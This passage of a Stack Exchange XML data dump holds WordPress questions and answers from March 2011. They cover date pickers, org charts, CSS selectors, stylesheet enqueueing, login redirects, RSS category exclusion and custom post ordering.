});&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way all your dates get stored in &lt;code&gt;yy-mm-dd&lt;/code&gt; format, but the user sees the date in &lt;code&gt;D d.m&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested this approach locally and was able to get the functionality needed, here's a few screenshots of my theme options page using a date field and with your chosen date format(my code was obviously a little different to what's above, but the approach was the same).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Selecting a date:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/pAQVN.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Current values are at the bottom under the &quot;Live Fetch&quot; section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What you see after clicking a date in the calendar:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/xkhtC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Visual and stored values:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/SVBpe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought it might just be nice to see the code put into practice and hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-05T17:04:24.367" LastActivityDate="2011-03-05T17:04:24.367" CommentCount="2" />
  <row Id="11151" PostTypeId="2" ParentId="10979" CreationDate="2011-03-04T15:33:30.277" Score="0" ViewCount="" Body="&lt;p&gt;Very basic example would be adding this on top of your custom page template (right after comment block):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_print_scripts','chart_data');&#xA;add_filter('the_content', 'chart_content');&#xA;&#xA;function chart_data() {&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;script type='text/javascript' src='https://www.google.com/jsapi'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type='text/javascript'&amp;gt;&#xA;      google.load('visualization', '1', {packages:['orgchart']});&#xA;      google.setOnLoadCallback(drawChart);&#xA;      function drawChart() {&#xA;        var data = new google.visualization.DataTable();&#xA;        data.addColumn('string', 'Name');&#xA;        data.addColumn('string', 'Manager');&#xA;        data.addColumn('string', 'ToolTip');&#xA;        data.addRows([&#xA;          [{v:'Mike', f:'Mike&amp;lt;div style=&quot;color:red; font-style:italic&quot;&amp;gt;President&amp;lt;/div&amp;gt;'}, '', 'The President'],&#xA;          [{v:'Jim', f:'Jim&amp;lt;div style=&quot;color:red; font-style:italic&quot;&amp;gt;Vice President&amp;lt;/div&amp;gt;'}, 'Mike', 'VP'],&#xA;          ['Alice', 'Mike', ''],&#xA;          ['Bob', 'Jim', 'Bob Sponge'],&#xA;          ['Carol', 'Bob', '']&#xA;        ]);&#xA;        var chart = new google.visualization.OrgChart(document.getElementById('chart_div'));&#xA;        chart.draw(data, {allowHtml:true});&#xA;      }&#xA;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&#xA;function chart_content() {&#xA;&#xA;    return '&amp;lt;div id=&quot;chart_div&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also add &lt;code&gt;the_content()&lt;/code&gt; call between header and footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that there are &lt;strong&gt;tons&lt;/strong&gt; of things here that can be reworked and improved, but not without getting into many more complex aspect of WP which are out of scope.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T15:33:30.277" />
  <row Id="11153" PostTypeId="2" ParentId="11145" CreationDate="2011-03-04T15:45:17.473" Score="1" ViewCount="" Body="&lt;p&gt;You could target specific elements in CSS like so..(won't work for all browsers of course).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#sidebar div.menu.side:nth-child(1) { /* First */ }&#xA;#sidebar div.menu.side:nth-child(2) { /* Second */ }&#xA;#sidebar div.menu.side:nth-child(3) { /* Third */ }&#xA;&#xA;..and so on...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or use some jQuery to add the classes..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready( function($) {&#xA;    var wi = 1;&#xA;    $('#sidebar div.menu.side').each( function() {&#xA;        $(this).addClass( 'widget-s' + wi );&#xA;        wi = wi + 1;&#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;wyrfel's approach looks like it could work for you though, i'd suggest that over the two above.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-04T15:45:17.473" CommentCount="1" />
  <row Id="11154" PostTypeId="1" AcceptedAnswerId="11155" CreationDate="2011-03-04T15:50:23.730" Score="0" ViewCount="101" Body="&lt;p&gt;Is it possible for Wordpress to work from two databases?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I ask is that we're approaching our 100mb limit for database size on our host (1and1) but have up to 100 databases, so what I was hoping to do is essentially 'add on' another database for when the limit is reached?&lt;/p&gt;&#xA;" OwnerUserId="1859" LastActivityDate="2011-03-04T15:53:32.630" Title="Split WP install between 2 databases?" Tags="&lt;database&gt;&lt;mysql&gt;&lt;server&gt;" AnswerCount="1" />
  <row Id="11155" PostTypeId="2" ParentId="11154" CreationDate="2011-03-04T15:53:32.630" Score="1" ViewCount="" Body="&lt;p&gt;Yes, but that is out of &lt;em&gt;quick and easy&lt;/em&gt; realm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/HyperDB&quot; rel=&quot;nofollow&quot;&gt;HyperDB in Codex&lt;/a&gt; &lt;a href=&quot;http://wordpress.org/extend/plugins/hyperdb/&quot; rel=&quot;nofollow&quot;&gt;and repository&lt;/a&gt; for starters.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T15:53:32.630" CommentCount="3" />
  <row Id="11157" PostTypeId="2" ParentId="11149" CreationDate="2011-03-04T15:55:13.870" Score="2" ViewCount="" Body="&lt;p&gt;The default .htaccess-file will already support the behaviour you want; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The magic is in the lines that start with &lt;em&gt;&lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond&quot; rel=&quot;nofollow&quot;&gt;RewriteCond&lt;/a&gt;&lt;/em&gt;. They instruct Apache to apply the rule &lt;code&gt;RewriteRule . /index.php [L]&lt;/code&gt; (which means &quot;any URL will go to index.php&quot;), only when the URL is not an existing file &lt;code&gt;!-f&lt;/code&gt; or existing directory &lt;code&gt;!-d&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this should work by default. The Wordpress rewrite rules do not apply when you try to visit an already existing file. &lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-04T15:55:13.870" CommentCount="1" />
  <row Id="11158" PostTypeId="1" CreationDate="2011-03-04T16:11:30.760" Score="0" ViewCount="233" Body="&lt;p&gt;I'm trying to import independent stylesheets for the blog page, gallery page and the contact page but I'm having some trouble getting this to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('http://www.dannysgallery.com/tracy/wp-content/themes/infocus/styles/deep_blue.css'); ?&amp;gt;&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&amp;lt;?php if(is_page_template('contact-4')) :?&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;&amp;lt;?php bloginfo('http://www.dannysgallery.com/tracy/contact-4'); ?&amp;gt;/contactstyles.css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; &amp;lt;?php language_attributes(); ?&amp;gt;&amp;gt;&#xA;&amp;lt;head profile=&quot;http://gmpg.org/xfn/11&quot;&amp;gt;&#xA;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;&amp;lt;?php bloginfo('html_type'); ?&amp;gt;; charset=&amp;lt;?php bloginfo('charset'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;title&amp;gt;&amp;lt;?php wp_title('&amp;amp;laquo;', true, 'right'); ?&amp;gt; &amp;lt;?php bloginfo('name'); ?&amp;gt;&amp;lt;/title&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo bloginfo('template_url'); ?&amp;gt;/lib/scripts/prettyPhoto/css/prettyPhoto.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot;/&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php bloginfo('stylesheet_url'); ?&amp;gt;&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php require(WEBTREATS_INCLUDES . &quot;/var.php&quot;); ?&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; media=&quot;all&quot; href=&quot;&amp;lt;?php bloginfo('template_directory'); ?&amp;gt;/styles/&amp;lt;?php echo $color_scheme; ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/rss+xml&quot; title=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt; RSS Feed&quot; href=&quot;&amp;lt;?php bloginfo('rss2_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;alternate&quot; type=&quot;application/atom+xml&quot; title=&quot;&amp;lt;?php bloginfo('name'); ?&amp;gt; Atom Feed&quot; href=&quot;&amp;lt;?php bloginfo('atom_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;pingback&quot; href=&quot;&amp;lt;?php bloginfo('pingback_url'); ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?&amp;gt;&#xA;&amp;lt;?php wp_head(); ?&amp;gt; &#xA;&#xA;&amp;lt;meta name=&quot;disable_cufon&quot; content=&quot;&amp;lt;?php echo $cufon_disable; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;slider_speed&quot; content=&quot;&amp;lt;?php echo $slider_speed; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;meta name=&quot;slider_disable&quot; content=&quot;&amp;lt;?php echo $slider_disable; ?&amp;gt;&quot; /&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;$css_style_path = str_replace('.css', '', $color_scheme);&#xA;if($css_style_path == 'black') {&#xA;    $css_style_path = '/images';&#xA;}else{&#xA;    $css_style_path = '/styles/' .$css_style_path;&#xA;}&#xA;$template_dir = get_template_directory_uri();&#xA;if(is_home()) { ?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;/* &amp;lt;![CDATA[ */&#xA;jQuery.preloadImages(&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/home_feature.jpg&quot;,&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/stage.jpg&quot;,&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/header.jpg&quot;,&quot;&amp;lt;?php echo $template_dir; ?&amp;gt;/images/slider_inactive.png&quot;,&quot;&amp;lt;?php echo $template_dir; ?&amp;gt;/images/buttons.gif&quot;,&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/buttons.gif&quot;,&quot;&amp;lt;?php echo $template_dir; ?&amp;gt;/images/slider_active.png&quot;,&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/drop.png&quot;,&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/dropR.png&quot;,&quot;&amp;lt;?php echo $template_dir.$css_style_path; ?&amp;gt;/drop_sub.png&quot;);&#xA;/* ]]&amp;gt; */&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;!--[if IE 6]&amp;gt;&#xA;&amp;lt;link rel=&quot;stylesheet&quot; href=&quot;&amp;lt;?php echo get_template_directory_uri(); ?&amp;gt;/styles/ie6/ie6.css&quot; type=&quot;text/css&quot; media=&quot;screen&quot; /&amp;gt;&#xA;&amp;lt;script src=&quot;&amp;lt;?php echo WEBTREATS_JS; ?&amp;gt;/DD_belatedPNG_0.0.8a-min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script&amp;gt;&#xA;    DD_belatedPNG.fix('#default_logo, .slider_frame');&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone explain to me how to get this to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&#xA;Dan&lt;/p&gt;&#xA;" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-03-04T16:18:05.810" LastActivityDate="2011-03-04T16:44:41.123" Title="Wordpress noob, assign custom stylesheet using @import or if? Didn't work for me" Tags="&lt;customization&gt;&lt;stylesheet&gt;" AnswerCount="2" CommentCount="3" />
  <row Id="11159" PostTypeId="1" CreationDate="2011-03-04T16:24:50.797" Score="0" ViewCount="288" Body="&lt;p&gt;I'm trying to hardcode this login form into a page template, but having a few problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Every time I submit the form, it redirects to the default (wp-login.php) page if the details are wrong. Is there any way to make it redirect to the referring/current page even if details are wrong?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you log out with Wordpress 3.1's new admin bar (that appears at the top of the browser window after logging in), you're redirected to the wp-login.php page. I know there's a WP function for creating a logout link that redirects to your chosen URL (), but I'm wondering whether I can alter the redirect on logout by using a hook?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any ideas? My code for hardcoding the login form is below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Osu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'echo' =&amp;gt; true,&#xA;    // This redirects to the referral/current page only if details are entered correctly&#xA;    'redirect' =&amp;gt; site_url( $_SERVER['REQUEST_URI'] ), &#xA;    'form_id' =&amp;gt; 'loginform',&#xA;    'label_username' =&amp;gt; __( 'Username' ),&#xA;    'label_password' =&amp;gt; __( 'Password' ),&#xA;    'label_remember' =&amp;gt; __( 'Remember Me' ),&#xA;    'label_log_in' =&amp;gt; __( 'Log In' ),&#xA;    'id_username' =&amp;gt; 'user_login',&#xA;    'id_password' =&amp;gt; 'user_pass',&#xA;    'id_remember' =&amp;gt; 'rememberme',&#xA;    'id_submit' =&amp;gt; 'wp-submit',&#xA;    'remember' =&amp;gt; true,&#xA;    'value_username' =&amp;gt; NULL,&#xA;    'value_remember' =&amp;gt; false&#xA;);&#xA;echo '&amp;lt;h2&amp;gt;Login&amp;lt;/h2&amp;gt;';&#xA;echo wp_login_form($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2685" LastActivityDate="2011-03-04T16:24:50.797" Title="Hardcoding a login form that redirects to the same page" Tags="&lt;redirect&gt;&lt;login&gt;" CommentCount="1" />
  <row Id="11160" PostTypeId="2" ParentId="11134" CreationDate="2011-03-04T16:27:48.970" Score="0" ViewCount="" Body="&lt;p&gt;I'm not seeing that issue on my local installation, copied your shortcode code, then put the provide sample into a post, the output was as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;static-column-container&quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;div class=&quot;static-column static-column-2 &quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;put some content here…&amp;lt;br&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;div class=&quot;static-column static-column-2 &quot;&amp;gt;&amp;lt;br&amp;gt;&#xA;put some content here…&amp;lt;br&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;br&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Switching between HTML and Visual i always see.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[static-cont]&#xA;    [static-col]&#xA;       put some content here...&#xA;    [/static-col]&#xA;    [static-col]&#xA;       put some content here...&#xA;    [/static-col]&#xA;[/static-cont]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and nothing else..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any plugins installed, TinyMCE advanced?  &lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-04T16:27:48.970" CommentCount="1" />
  <row Id="11161" PostTypeId="1" AcceptedAnswerId="11165" CreationDate="2011-03-04T16:28:50.267" Score="1" ViewCount="107" Body="&lt;p&gt;I've searched and found posts that have asked and answered how to merge different categories into an RSS feed. &lt;strong&gt;What I need to know is how to exclude specific categories from the RSS feed?&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I use WP to post blog articles and to post portfolio items onto my site.  I want to exclude the portfolio category from appearing in the RSS feed, making only blog posts available.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-03-04T17:05:05.450" Title="How Can You Exclude Categories From Your RSS Feeds?" Tags="&lt;categories&gt;&lt;rss&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11162" PostTypeId="2" ParentId="11158" CreationDate="2011-03-04T16:41:59.000" Score="0" ViewCount="" Body="&lt;p&gt;First, your usage of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/bloginfo&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;bloginfo()&lt;/code&gt;&lt;/a&gt; is a little strange. It only accepts list of specific strings, no sense in passing URLs to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And while you can just echo stylesheets in template it is usually preferable to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_style&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_style()&lt;/code&gt;&lt;/a&gt; to queue them (with support for dependencies and such) and let WP do the echoing.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T16:41:59.000" CommentCount="2" />
  <row Id="11163" PostTypeId="2" ParentId="11158" CreationDate="2011-03-04T16:44:41.123" Score="2" ViewCount="" Body="&lt;p&gt;There's a part in your header template that's already doing conditional loading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code loads the JavaScript for comments into the queue; WordPress then loads all of the scripts when it fires the &lt;code&gt;wp_head()&lt;/code&gt; trigger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation would be to use your &lt;code&gt;functions.php&lt;/code&gt; file to register the scripts, then use &lt;code&gt;wp_enqueue_style()&lt;/code&gt; to load them.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In &lt;code&gt;functions.php&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You'll first need to register all of your scripts.  Use code similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_load_styles() {&#xA;    $template_uri = get_template_directory_uri();&#xA;&#xA;    wp_register_style( 'my-blog-page', $template_uri . '/styles/blog-page.css', '', '1.0' );&#xA;    wp_register_style( 'my-gallery-page', $template_uri . '/styles/gallery-page.css', '', '1.0' );&#xA;}&#xA;add_action( 'init', 'my_load_styles' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will register all of your various stylesheets with WordPress.  Then you can pick and choose which ones will be loaded.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In &lt;code&gt;header.php&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just below the &lt;code&gt;&amp;lt;?php if ( is_singular() ) ...&lt;/code&gt; line, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( is_page_template( 'blog-page.php' ) ) wp_enqueue_script( 'my-blog-page '); ?&amp;gt;&#xA;&amp;lt;?php if ( is_page_template( 'gallery-page.php' ) ) wp_enqueue_script( 'my-gallery-page '); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're using the page template identified in the conditional (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page_template&quot; rel=&quot;nofollow&quot;&gt;remember to use the full page template file name&lt;/a&gt;), then WordPress will add that template's stylesheet to the queue and echo it to the browser.  No need to do it yourself.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2011-03-04T16:44:41.123" CommentCount="1" />
  <row Id="11164" PostTypeId="2" ParentId="11161" CreationDate="2011-03-04T16:49:56.047" Score="1" ViewCount="" Body="&lt;p&gt;Not too confident to get hooks right from memory... I think hooking into &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/pre_get_posts&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;pre_get_posts&lt;/code&gt;&lt;/a&gt; and setting &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;category__not_in&lt;/code&gt;&lt;/a&gt; to what you want to skip on &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_feed()&lt;/code&gt;&lt;/a&gt; conditional should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But might require playing with different hooks earlier/later, querying internals are confusing around there.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-04T16:49:56.047" />
  <row Id="11165" PostTypeId="2" ParentId="11161" CreationDate="2011-03-04T17:05:05.450" Score="1" ViewCount="" Body="&lt;p&gt;It's been broken since 3.1, see:&lt;br&gt;&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16622&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16622&lt;/a&gt;&lt;br&gt;&#xA;and also&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/support/topic/wp-31-breaks-rss-customization-via-exclude_category&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wp-31-breaks-rss-customization-via-exclude_category&lt;/a&gt;&#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; Otto's suggested fix in that thread doesn't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ticket suggests patch will go in for 3.1.1 and i can confirm that currently filters on &lt;code&gt;pre_get_posts&lt;/code&gt; or &lt;code&gt;parse_query&lt;/code&gt; fail for feeds(unfortunately).&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-04T17:05:05.450" CommentCount="1" />
  <row Id="11166" PostTypeId="2" ParentId="11055" CreationDate="2011-03-04T17:09:41.880" Score="2" ViewCount="" Body="&lt;p&gt;Okay, I was determined to find a way to do this, and I think I've got it. I had hoped to find a simpler solution and avoid having to use a new WP_Query object, but it's just too ingrained into how the loop works. First, we have a couple of utility functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set post menu order based on our list  &#xA;function set_include_order(&amp;amp;$query, $list) {&#xA;    // Map post ID to its order in the list:&#xA;    $map = array_flip($list);&#xA;&#xA;    // Set menu_order according to the list     &#xA;    foreach ($query-&amp;gt;posts as &amp;amp;$post) {&#xA;      if (isset($map[$post-&amp;gt;ID])) {&#xA;        $post-&amp;gt;menu_order = $map[$post-&amp;gt;ID];&#xA;      }&#xA;    }  &#xA;}&#xA;&#xA;// Sort posts by $post-&amp;gt;menu_order.                                 &#xA;function menu_order_sort($a, $b) {&#xA;  if ($a-&amp;gt;menu_order == $b-&amp;gt;menu_order) {&#xA;    return 0;&#xA;  }&#xA;  return ($a-&amp;gt;menu_order &amp;lt; $b-&amp;gt;menu_order) ? -1 : 1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These will allow us to set the &lt;code&gt;menu_order&lt;/code&gt; property based on our own list, and then sort the posts in a query object based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how we query and sort the posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$plist = array(21, 43, 8, 44, 12);&#xA;$args = array(&#xA;  'post_type' =&amp;gt; 'attachment',&#xA;  'post_status' =&amp;gt; 'any',&#xA;  'post__in' =&amp;gt; $plist &#xA;);&#xA;&#xA;// Create a new query  &#xA;$myquery = new WP_Query($args);&#xA;&#xA;// set the menu_order&#xA;set_include_order($myquery, $plist);&#xA;&#xA;// and actually sort the posts in our query&#xA;usort($myquery-&amp;gt;posts, 'menu_order_sort');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So now we have our own query object, and the &lt;code&gt;$myquery-&amp;gt;posts&lt;/code&gt; is sorted according to our custom &lt;code&gt;menu_order_sort&lt;/code&gt; function. The only tricky part now, is that we must construct our loop using our custom query object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while($myquery-&amp;gt;have_posts()) : $myquery-&amp;gt;the_post();&#xA;  ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;a id=&quot;post_id_&amp;lt;?php the_ID(); ?&amp;gt;&quot; class=&quot;nb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt; Post ID: &amp;lt;?php the_ID(); ?&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;?php&#xA;&#xA;endwhile;&#xA;wp_reset_postdata();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, you'd fix up the loop template code there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to find a solution that didn't require the use of a custom query object, perhaps by using &lt;code&gt;query_posts()&lt;/code&gt; and replacing the &lt;code&gt;posts&lt;/code&gt; propery on the global &lt;code&gt;$wp_query&lt;/code&gt;, but I just couldn't get it to work right. With a little more time to work on it, that might have been doable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, see if that will get you where you need to go?&lt;/p&gt;&#xA;" OwnerUserId="65" LastEditorUserId="65" LastEditorDisplayName="" LastEditDate="2011-03-04T19:24:39.363" LastActivityDate="2011-03-04T19:24:39.363" CommentCount="6" />
  <row Id="11167" PostTypeId="2" ParentId="11069" CreationDate="2011-03-04T17:15:42.727" Score="1" ViewCount="" Body="&lt;p&gt;I have my search page split up like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($wp_query-&amp;gt;query_vars['post_type'] == 'post') { &#xA; // output for posts format&#xA;} else {&#xA; // output for other formats&#xA;} ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think query_vars is more efficient than $_GET in this case.&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-04T17:15:42.727" />
